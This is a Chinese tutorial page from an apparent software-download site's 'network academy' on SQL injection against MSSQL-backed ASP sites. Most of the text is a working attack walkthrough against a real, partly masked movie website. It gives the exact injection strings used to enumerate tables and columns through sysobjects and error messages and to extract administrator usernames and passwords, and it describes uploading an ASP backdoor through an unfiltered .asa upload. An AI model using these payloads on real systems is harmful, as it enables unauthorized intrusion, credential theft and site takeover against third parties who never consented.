文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 国产软件 | 国外软件 | 汉化补丁 | 设为首页 | 加入收藏
网站首页 软件下载
数码学院 网络学院
业界资讯 | 图形图像 | 操作系统 | 网络冲浪 | 工具软件 | 办公软件 | 媒体动画 | 精文荟萃 | 认证考试 | 网站建设 | 技术开发 | 专栏
当前位置:abcdown网络学院技术开发SQL 学院SQL注入的新技巧
精品广告
推荐TOP10
·系统安全之SA弱口令带来的安全隐患
·Sql Sever数据库自动备份
·SQL Server的有效安装
·如何才能让MySQL与OpenOffice共舞
·SQL Server各种日期计算方法
·sql 经典语句
·50种方法巧妙优化你的SQL Server数据库
·MySQL将为数据库管理员减负
·你的MySQL安全了吗?加铸23道安全门
·恢复误删数据(SQL Server 2000)--Log Explorer
·SQL Server连接中的常见错误
·优化SQL Server服务器内存配置的策略
·Sql server优化50法
·SQL Server连接失败错误故障的分析与排除
·存储过程从入门到熟练(多个存储过程完整实例及调用方法)
·剖析SQL Server 2005中的报告服务架构
·两个数据分页的存储过程
·MS SQL Server 2000系统数据类型
·SQL SERVER 2005 同步复制技术
·SQL Server 2005数据加密技术应用研究
阅读TOP10
·SQL Server安装文件挂起错误解决办法
·恢复误删数据(SQL Server 2000)--Log Explorer
·sql server日期时间函数
·SQL SERVER 2005 同步复制技术
·sql 经典语句
·SQL Server各种日期计算方法
·SQL Server的有效安装
·读取sql2000,sql2005中的表结构
·在Windows xp系统上安装了SQL server服务器版
·Sql server优化50法
·在sqlserver2005中安装sql server 2000的示例数据库northwind
·Sql数据库MDF数据文件数据库恢复
·sql server2000导入mdf文件
·SQL Server不存在或访问被拒绝 问题的解决
·开启sql server 2005的远程访问功能
·同时安装sql2000和sql2005,经验点滴
·怎样在vb.net中将图片存入SQL Server 2000并能读出来使用?
·C#连接mysql
·记录一致性错误日志可以简化PL-SQL调试
·SQL Server连接失败错误故障的分析与排除

SQL注入的新技巧

日期:2004年4月1日 作者:清风网络学院 查看:[大字体 中字体 小字体]


SQL注入的新技巧
表名和字段名的获得
_适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码

可以进行的攻击
1)对数据内容进行添加,查看,更改

实例:
本文件以
http://www.dy***.com/user/wantpws.asp
为列进行测试攻击。

第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 ''' 之前有未闭合的引号。

/user/wantpws.asp,行63

说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a';use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。

/user/wantpws.asp,行63
这样说明没有权限了。

第三步:
输入:a' or name like 'fff%';--
显示有一个叫ffff的用户哈。

第四步:
在用户名处输入
ffff' and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'user' 无效。

/user/wantpws.asp,行96

说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a' having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。

/user/wantpws.asp,行63


)

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名。

第五步:
输入:
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的

第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三个字段是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.userid' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
这个第二个字段就是userid
显示第三个字段。
a' group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
得到是password
同理,一直显示出所有。:)
)

users表
1 2 3 4
id userid password name

5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send

17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note


starlook--12 10 2003 2:41PM
nlook---0
nos---2 登陆次数
date--12 10 2003 12:00AM 注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明

password表
1 2 3
id name pwd

然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...

这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp

再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--


只是能免费看电影好象还不够哈..我看了看它的后台管理原来在
添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就
能上传一个asp后门并执行.

(出处:ABC网络学院



上一篇:数据连接错误信息

下一篇:攻破天网的几种办法


SQL注入的新技巧 相关软件: SQL注入的新技巧 相关文章:
·SQL注入的新技巧
·SQL注入的新技巧
·SQL注入的新技巧

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.abcdown.net
首页 | 本站声明 | 下载帮助 | 发布软件 |
中文版权所有:ABC学院 浙ICP备05000717号